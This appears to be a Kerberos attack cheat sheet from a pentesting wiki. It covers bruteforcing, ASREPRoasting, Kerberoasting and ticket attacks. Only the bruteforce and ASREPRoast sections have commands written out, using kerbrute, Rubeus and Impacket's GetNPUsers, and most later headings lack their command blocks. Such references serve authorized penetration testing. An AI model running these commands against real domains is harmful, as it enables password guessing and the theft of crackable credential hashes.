Kerberos Quick Reference Sheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

With Rubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>

Cracking with dictionary of passwords:

Kerberoasting

With Impacket example GetUserSPNs.py:

With Rubeus:

With Powershell:

Cracking with dictionary of passwords:

Overpass The Hash/Pass The Key (PTK)

By using Impacket examples:

With Rubeus and PsExec:

Pass The Ticket (PTT)

Harvest tickets from Linux

Check type and location of tickets:

If none return, default is FILE:/tmp/krb5cc_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being KEYRING tickets, you can use tickey to get them:

Harvest tickets from Windows

With Mimikatz:

With Rubeus in Powershell:

To convert tickets between Linux/Windows format with ticket_converter.py:

Using ticket in Linux:

With Impacket examples:

Using ticket in Windows

Inject ticket with Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Silver ticket

With Impacket examples:

With Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Golden ticket

With Impacket examples:

With Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Misc

To get NTLM from password:

Tools

PreviousKerberos AttacksNextPentesting JumpCloud vs Active Directory (AD) vs Azure ADDS

Last updated